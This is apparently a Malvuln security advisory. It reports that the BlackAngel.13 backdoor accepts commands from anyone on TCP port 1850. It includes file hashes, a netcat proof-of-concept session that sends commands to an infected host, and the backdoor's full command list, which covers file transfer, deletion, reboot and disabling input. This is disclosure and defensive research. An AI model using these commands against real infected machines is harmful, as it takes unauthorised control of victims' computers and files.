Backdoor.Win32.BlackAngel.13 MVID-2024-0695 Code Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/d1523df44da5fd40df92602b8ded59c8.txt
Contact: [email protected]
Media: x.com/malvuln

Threat: Backdoor.Win32.BlackAngel.13
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1850. Third party adversaries who can reach an infected host can issue commands made available by the backdoor. Example, send messages to victim “!msg”, open launch the browser and open webpages “!url” etc.
Family: BlackAngel
Type: PE32
MD5: d1523df44da5fd40df92602b8ded59c8
SHA256: 8a6e876f7452ae0a11342b852c70771a7f80b87c2e451656aaebb18b350c4b27
Vuln ID: MVID-2024-0695
Disclosure: 09/17/2024

Exploit/PoC:
nc64.exe x.x.x.x 1850
Connected to host (DESKTOP-3C4IQJO)
!msg GG Forever!
!msg Greetz Edu_Braun_0day, Indoushka, Dirty0tis
!url https://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt
!quit

[commands list]!msg
!opencd
!closecd
!exitwin
!reboot
!logoff
!getdrive
!gettree
!getfile
!putfile
!ren
!del
!swap
!noswap
!mdisable
!kdisable
!url
!bck
!sound
!txt
!dos
!beep
!nobeep
!quit
!hang

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